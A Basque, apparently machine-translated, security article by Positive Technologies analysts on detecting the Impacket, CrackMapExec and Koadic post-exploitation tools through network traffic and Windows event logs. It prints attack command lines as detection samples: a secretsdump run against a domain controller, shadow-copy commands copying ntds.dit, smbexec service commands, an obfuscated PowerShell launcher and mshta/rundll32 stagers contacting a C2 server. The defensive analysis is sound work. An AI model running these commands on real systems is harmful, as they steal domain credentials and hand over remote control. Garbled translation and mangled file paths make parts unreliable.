Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea

Enpresen sektorean eraso kopurua hazten ari da urtero: adibidez 2017an, %13 gertakari berezi gehiago erregistratu ziren 2016an baino, eta 2018 amaieran - %27 gorabehera gehiagoaurreko aldian baino. Lan tresna nagusia Windows sistema eragilea denak barne. 2017-2018an, APT Dragonfly, APT28, APT MuddyWater Europan, Ipar Amerikan eta Saudi Arabian gobernu eta erakunde militarren aurkako erasoak egin zituen. Eta hiru tresna erabili ditugu horretarako - Paketea, CrackMapExec ΠΈ Koadic. Haien iturburu-kodea irekita dago eta GitHub-en dago eskuragarri.

Aipatzekoa da tresna hauek ez direla hasierako sartzerako erabiltzen, azpiegituren barruan eraso bat garatzeko baizik. Erasotzaileek erasoaren fase desberdinetan erabiltzen dituzte perimetroa sartu ondoren. Hori, bide batez, zaila da detektatzen eta askotan teknologiaren laguntzarekin bakarrik sareko trafikoan arriskuaren arrastoak identifikatzea edo ahalbidetzen duten tresnak Erasotzaile baten ekintza aktiboak detektatu azpiegituran sartu ondoren. Tresnek hainbat funtzio eskaintzen dituzte, fitxategiak transferitzetik erregistroarekin elkarreragin eta komandoak urruneko makina batean exekutatzeko. Tresna horien azterketa egin dugu sareko jarduera zehazteko.

Zer egin behar genuen:

  • Hackeatzeko tresnak nola funtzionatzen duten ulertzea. Ezagutu erasotzaileek zer ustiatu behar duten eta zer teknologia erabil ditzaketen.
  • Bilatu informazio-segurtasun tresnek detektatzen ez dutena eraso baten lehen faseetan. Azterketa-fasea salta daiteke, erasotzailea barne erasotzailea delako, edo erasotzailea lehen ezagutzen ez zen azpiegituran zulo bat ustiatzen ari delako. Posible bihurtzen da bere ekintzen kate osoa berreskuratzea, hortik mugimendu gehiago antzemateko nahia.
  • Ezabatu positibo faltsuak intrusioak detektatzeko tresnetatik. Ez dugu ahaztu behar zenbait ekintza antzematen direnean soilik errekonozimenduaren arabera, maiz akatsak gerta daitezkeela. Normalean azpiegituretan modu kopuru nahikoa dago, lehen begiratuan legezkoetatik bereizten ez direnak, edozein informazio lortzeko.

Zer ematen diete tresna hauek erasotzaileei? Hau Impacket bada, erasotzaileek perimetroa hautsi ondoren erasoaren fase desberdinetan erabil daitezkeen modulu liburutegi handi bat jasotzen dute. Tresna askok barnean Impacket moduluak erabiltzen dituzte, adibidez, Metasploit. Urruneko komandoak exekutatzeko dcomexec eta wmiexec ditu, Impacket-etik gehitzen diren memoriatik kontuak lortzeko secretsdump. Ondorioz, liburutegi horren jarduera zuzen detektatzeak deribatuak hautematea bermatuko du.

Ez da kasualitatea sortzaileek CrackMapExec (edo besterik gabe CME) buruz "Powered by Impacket" idatzi izana. Horrez gain, CME-k prestatutako funtzionalitateak ditu agertoki ezagunetarako: besteak beste, pasahitzak edo hashak lortzeko Mimikatz, eta Meterpreter edo Empire agentearen ezarpena urrutiko exekuziorako, eta Bloodhound barne.

Aukeratu genuen hirugarren tresna Koadic izan zen. Nahiko berria da, DEFCON 25 nazioarteko hacker konferentzian aurkeztu zen 2017an eta ikuspegi ez-estandarragatik bereizten da: HTTP, Java Script eta Microsoft Visual Basic Script (VBS) bidez funtzionatzen du. Planteamendu horri lurretik bizitzea deitzen zaio: tresnak Windows-en barneraturiko mendekotasun eta liburutegi multzo bat erabiltzen du. Sortzaileek COM Command & Control edo C3 deitzen diote.

IMPAKETA

Impacket-en funtzionaltasuna oso zabala da, ADren barneko ezagutzetik hasi eta barneko MS SQL zerbitzarietatik datuak biltzen, kredentzialak lortzeko tekniketaraino: SMB errele-eraso bat da, eta erabiltzaileen pasahitzen hashak dituen ntds.dit fitxategia domeinu-kontrolagailu batetik eskuratzea. Impacket-ek komandoak urrunetik exekutatzen ditu lau metodo ezberdin erabiliz: WMI, Windows Scheduler Management Service, DCOM eta SMB, eta kredentzialak behar ditu horretarako.

Secrets dump

Ikus dezagun secretsdump-i. Erabiltzaile-makinak zein domeinu-kontrolatzaileak zuzendu ditzakeen modulua da. LSA, SAM, SEGURTASUNA, NTDS.dit memoria-eremuen kopiak lortzeko erabil daiteke, erasoaren fase ezberdinetan ikusi ahal izateko. Moduluaren funtzionamenduaren lehen urratsa SMB bidezko autentifikazioa da, erabiltzailearen pasahitza edo hash-a eskatzen duena Pass the Hash erasoa automatikoki burutzeko. Jarraian, Service Control Manager (SCM) sarbidea irekitzeko eskaera bat dator eta erregistrora sartzeko winreg protokoloaren bidez, erasotzaile batek interes-adarren datuak aurki ditzake eta SMB bidez emaitzak lor ditzake.

Irudian. 1 Winreg protokoloa erabiltzean nola, zehazki, sarbidea LSA duen erregistro-gako baten bidez lortzen den ikusten dugu. Horretarako, erabili DCERPC komandoa 15 opcodearekin - OpenKey.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 1. Erregistro-gako bat irekitzea winreg protokoloa erabiliz

Ondoren, gakorako sarbidea lortzen denean, balioak SaveKey komandoarekin gordetzen dira 20 opcodearekin. Impacket-ek oso modu zehatzean egiten du. Balioak .tmp-rekin erantsitako ausazko 8 karaktere-kate bat duen fitxategi batean gordetzen ditu. Gainera, fitxategi hau SMB bidez igotzen da System32 direktoriotik (2. irudia).

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 2. Erregistro-gako bat urruneko makina bat lortzeko eskema

Ematen du sareko jarduera hori erregistro-adar jakin batzuei egindako kontsulten bidez detektatu daitekeela winreg protokoloa, izen zehatzak, komandoak eta haien ordena erabiliz.

Modulu honek aztarnak ere uzten ditu Windows-eko gertaeren erregistroan, erraz detektatzeko. Adibidez, komandoa exekutatzearen ondorioz

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Windows Server 2016 erregistroan hurrengo gertaeren gako-sekuentzia ikusiko dugu:

1. 4624 - urruneko saioa.
2. 5145 - Winreg urruneko zerbitzurako sarbide-eskubideak egiaztatzea.
3. 5145 - System32 direktorioko fitxategien sarbide-eskubideak egiaztatzea. Fitxategiak goian aipatutako ausazko izena du.
4. 4688 - vssadmin abiarazten duen cmd.exe prozesu bat sortzea:

β€œC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - komandoarekin prozesu bat sortzea:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - komandoarekin prozesu bat sortzea:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - komandoarekin prozesu bat sortzea:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Ustiaketa ondorengo tresna askok bezala, Impacket-ek komandoak urrunetik exekutatzeko moduluak ditu. Smbexec-en zentratuko gara, urruneko makina batean komando shell interaktibo bat eskaintzen duena. Modulu honek SMB bidezko autentifikazioa ere eskatzen du, pasahitz batekin edo pasahitz hash batekin. Irudian. 3. Irudian horrelako tresna baten funtzionamenduaren adibide bat ikusten dugu, kasu honetan administratzaile lokalaren kontsola da.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 3. Smbexec kontsola interaktiboa

Smbexec-en lehen urratsa autentifikazioaren ondoren SCM irekitzea da OpenSCManagerW komandoarekin (15). Kontsulta nabarmena da: MachineName eremua DUMMY da.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 4. Zerbitzu-kontroleko kudeatzailea irekitzeko eskaera

Ondoren, zerbitzua sortuko da CreateServiceW komandoa erabiliz (12). Smbexec-en kasuan, komandoen eraikuntza-logika bera ikus dezakegu aldi bakoitzean. Irudian. 5 berdeak komando-parametro aldaezinak adierazten ditu, horiak erasotzaileak zer alda dezakeen adierazten du. Erraz ikusten da fitxategi exekutagarriaren izena, bere direktorioa eta irteerako fitxategia alda daitezkeela, baina gainerakoa askoz zailagoa da aldatzea Impacket moduluaren logika nahastu gabe.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 5. Zerbitzu bat sortzeko eskatzea Service Control Manager erabiliz

Smbexecek ere aztarna nabariak uzten ditu Windows gertaeren erregistroan. Windows Server 2016 erregistroan ipconfig komandoarekin komando interaktiborako shell-erako, hurrengo gertaeren gako-sekuentzia ikusiko dugu:

1. 4697 β€” Zerbitzuaren instalazioa biktimaren makinan:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - cmd.exe prozesua sortzea 1. puntuko argumentuekin.
3. 5145 - C$ direktorioko __irteera fitxategirako sarbide-eskubideak egiaztatzea.
4. 4697 β€” Biktimaren makinan zerbitzua instalatzea.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - cmd.exe prozesua sortzea 4. puntuko argumentuekin.
6. 5145 - C$ direktorioko __irteera fitxategirako sarbide-eskubideak egiaztatzea.

Impacket eraso tresnak garatzeko oinarria da. Windows azpiegituran ia protokolo guztiak onartzen ditu eta, aldi berean, bere ezaugarri propioak ditu. Hona hemen winreg eskaera zehatzak eta SCM APIaren erabilera komandoen eraketa ezaugarriekin, eta fitxategi-izenaren formatua eta SMB share SYSTEM32.

CRACKMAPEXEK

CME tresna erasotzaileak sarean aurrera egiteko egin behar dituen ohiko ekintzak automatizatzeko diseinatuta dago batez ere. Empire agente eta Meterpreter ezagunarekin batera lan egiteko aukera ematen du. Komandoak ezkutuan exekutatzeko, CMEk lausotu ditzake. Bloodhound (ezagutze-tresna bereizia) erabiliz, erasotzaileak domeinu administratzaile aktiboaren saio baten bilaketa automatizatu dezake.

Bloodhound

Bloodhound-ek, tresna autonomo gisa, sarearen barruan ezagutza aurreratua ahalbidetzen du. Erabiltzaileei, makinei, taldeei, saioei buruzko datuak biltzen ditu eta PowerShell script edo fitxategi bitar gisa hornitzen da. Informazioa biltzeko LDAP edo SMBn oinarritutako protokoloak erabiltzen dira. CME integrazio-moduluari esker, Bloodhound biktimaren makinara deskargatu, exekutatu eta bildutako datuak jaso eta exekutatu ondoren, sistemako ekintzak automatizatzen ditu eta ez dira hain nabarmenak izan. Bloodhound shell grafikoak grafiko moduan aurkezten ditu bildutako datuak, eta horri esker, erasotzailearen makinatik domeinu-administratzailera doan biderik laburrena aurki dezakezu.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 6. Bloodhound Interfazea

Biktimaren makinan exekutatzeko, moduluak zeregin bat sortzen du ATSVC eta SMB erabiliz. ATSVC Windows Task Scheduler-ekin lan egiteko interfaze bat da. CME-k bere NetrJobAdd(1) funtzioa erabiltzen du sarean zereginak sortzeko. Irudian CME moduluak bidaltzen duenaren adibide bat ageri da. 7: Hau cmd.exe komando-deia eta kode lausoa da XML formatuan argumentu moduan.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
7. irudia. Zeregin bat sortzea CME bidez

Ataza exekutatzeko aurkeztu ondoren, biktimaren makinak Bloodhound bera abiarazten du, eta hori trafikoan ikus daiteke. Moduluak LDAP kontsultak ditu, talde estandarrak lortzeko, domeinuko makina eta erabiltzaile guztien zerrenda eta erabiltzaile aktiboen saioei buruzko informazioa lortzeko, SRVVSVC NetSessEnum eskaeraren bidez.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 8. SMB bidez saio aktiboen zerrenda lortzea

Horrez gain, Bloodhound biktima baten makinan abiarazteko auditoria gaituta 4688 ID (prozesuaren sorrera) eta prozesuaren izena duen gertaera batekin batera dator. Β«C:WindowsSystem32cmd.exeΒ». Horri buruz nabarmentzen dena komando-lerroko argumentuak dira:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

enum_avproducts modulua oso interesgarria da funtzionaltasunaren eta ezarpenaren ikuspuntutik. WMI-k WQL kontsulta-lengoaia erabiltzeko aukera ematen du Windows-eko hainbat objektutako datuak berreskuratzeko, hau da, funtsean, CME modulu honek erabiltzen duena. Biktimen makinan instalatutako babes-tresnei buruzko kontsultak sortzen ditu AntiSpywareProduct eta AntiМirusProduct klaseetara. Beharrezko datuak lortzeko, modulua rootSecurityCenter2 izen-espaziora konektatzen da, ondoren WQL kontsulta bat sortzen du eta erantzuna jasotzen du. Irudian. 9. irudian eskaera eta erantzun horien edukia erakusten da. Gure adibidean, Windows Defender aurkitu zen.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 9. enum_avproducts moduluaren sareko jarduera

Askotan, WMI auditoria (Trace WMI-Activity), zeinaren gertaeretan WQL kontsultei buruzko informazio erabilgarria aurki dezakezun, desgaitu egin daiteke. Baina gaituta badago, enum_avproducts script-a exekutatzen bada, 11 ID duen gertaera bat gordeko da. Eskaera bidali duen erabiltzailearen izena eta izena rootSecurityCenter2 izen-eremuan izango ditu.

CME modulu bakoitzak bere artefaktuak zituen, izan WQL kontsulta espezifikoak edo ataza-antolatzaile batean zeregin-mota jakin bat sortzea LDAP eta SMB-n Bloodhound-en jarduera espezifikoarekin.

KOADIKOA

Koadic-en ezaugarri bereizgarri bat Windows-en integratutako JavaScript eta VBScript interpreteen erabilera da. Zentzu honetan, lurraritik bizitzeko joerari jarraitzen dio, hau da, ez du kanpoko menpekotasunik eta Windows tresna estandarrak erabiltzen ditu. Command & Control (CnC) osoko tresna bat da hau, infekzio ondoren makinan "inplante" bat instalatzen baita, kontrolatu ahal izateko. Halako makina bati, Koadiko terminologian, "zonbi" deitzen zaio. Biktimaren aldetik funtzionamendu osorako pribilegio nahikorik ez badago, Koadic-ek gaitasuna du Erabiltzaile-Kontuaren Kontrolaren saihesbidea (UAC saihespena) teknikak erabiliz.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 10. Koadic Maskorra

Biktimak Komando eta Kontrol zerbitzariarekin komunikazioa hasi behar du. Horretarako, aldez aurretik prestatutako URI batekin harremanetan jarri eta Koadic gorputz nagusia jaso behar du etaparen bat erabiliz. Irudian. 11. irudiak mshta stager-erako adibide bat erakusten du.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 11. CnC zerbitzariarekin saio bat hasieratzea

WS erantzun-aldagaian oinarrituta, argi geratzen da exekuzioa WScript.Shell bidez gertatzen dela, eta STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE aldagaiek uneko saioko parametroei buruzko funtsezko informazioa daukate. Hau da CnC zerbitzari batekin HTTP konexio batean eskaera-erantzun bikotea. Ondorengo eskaerak zuzenean lotuta daude deitutako moduluen (inplanteak) funtzionaltasunarekin. Koadic modulu guztiek CnC-rekin saio aktibo batekin bakarrik funtzionatzen dute.

Mimikatz

CME Bloodhound-ekin lan egiten duen bezala, Koadic-ek Mimikatz-ekin lan egiten du programa bereizi gisa eta abiarazteko modu anitz ditu. Jarraian, Mimikatz inplantea deskargatzeko eskaera-erantzun bikotea dago.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 12. Mimikatz transferitu Koadic-era

Eskaeran URI formatua nola aldatu den ikus dezakezu. Orain csrf aldagaiaren balio bat dauka, hau da, hautatutako moduluaren arduraduna. Ez egin kasurik bere izenari; Denok dakigu CSRF normalean ezberdin ulertzen dela. Erantzuna Koadic-en gorputz nagusi bera izan zen, eta horri Mimikatz-ekin lotutako kodea gehitu zitzaion. Nahiko handia da, beraz, ikus ditzagun funtsezko puntuak. Hemen ditugu base64-n kodetutako Mimikatz liburutegia, txertatuko duen .NET klase serializatua eta Mimikatz abiarazteko argumentuak. Exekuzioaren emaitza sarean zehar transmititzen da testu argian.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 13. Urrutiko makina batean Mimikatz exekutatzeko emaitza

Exec_cmd

Koadic-ek komandoak urrunetik exekutatu ditzaketen moduluak ere baditu. Hemen URI sortzeko metodo bera eta sid eta csrf aldagai ezagunak ikusiko ditugu. Exec_cmd moduluaren kasuan, kodea gehitzen zaio shell komandoak exekutatzeko gai den gorputzari. Jarraian, CnC zerbitzariaren HTTP erantzunean jasotako kodea erakusten da.

Nola detektatu Windows azpiegituraren aurkako erasoak: hacker tresnak aztertzea
Arroza. 14. Inplantearen kodea exec_cmd

WS atributu ezaguna duen GAWTUUGCFI aldagaia beharrezkoa da kodea exekutatzeko. Bere laguntzarekin, inplanteak shell-a deitzen du, kodearen bi adar prozesatzen ditu: shell.exec irteerako datu-korrontearen itzulerarekin eta shell.run itzuli gabe.

Koadic ez da ohiko tresna bat, baina bere artifaktuak ditu, zeinen bidez legezko trafikoan aurki daiteke:

  • HTTP eskaeren eraketa berezia,
  • winHttpRequests APIa erabiliz,
  • WScript.Shell objektu bat sortuz ActiveXObject bidez,
  • gorputz exekutagarri handia.

Hasierako konexioa etapatzaileak abiarazten du, beraz, bere jarduera Windows gertaeren bidez detektatu daiteke. Mshta-rako, hau 4688 gertaera da, hasierako atributua duen prozesu bat sortzea adierazten duena:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Koadic martxan dagoen bitartean, ezin hobeto ezaugarritzen duten atributuekin beste 4688 gertaera ikus ditzakezu:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Findings

Lurraren joerak ospea hartzen ari da gaizkileen artean. Windows-en integratutako tresnak eta mekanismoak erabiltzen dituzte euren beharretarako. Koadic, CrackMapExec eta Impacket printzipio hori jarraituz gero eta gehiago agertzen ari gara APT txostenetan. Tresna hauetarako GitHub-en sardexka-kopurua ere hazten ari da, eta berriak agertzen ari dira (orain mila inguru daude jada). Joera ospea hartzen ari da bere sinpletasunagatik: erasotzaileek ez dute hirugarrenen tresnarik behar; dagoeneko biktimen makinetan daude eta segurtasun neurriak saihesten laguntzen diete. Sareko komunikazioa aztertzen dugu arreta: goian deskribatutako tresna bakoitzak bere arrastoak uzten ditu sareko trafikoan; horien azterketa zehatzak gure produktua irakasteko aukera eman zigun PT sareko erasoen aurkikuntza detektatu, eta horrek, azken finean, haiek inplikatzen dituzten ziber-gertakarien kate osoa ikertzen laguntzen du.

Authors:

  • Anton Tyurin, Aditu Zerbitzuen Saileko burua, PT Adituen Segurtasun Zentroa, Positive Technologies
  • Egor Podmokov, aditua, PT Expert Security Center, Positive Technologies

Iturria: www.habr.com

Gehitu iruzkin berria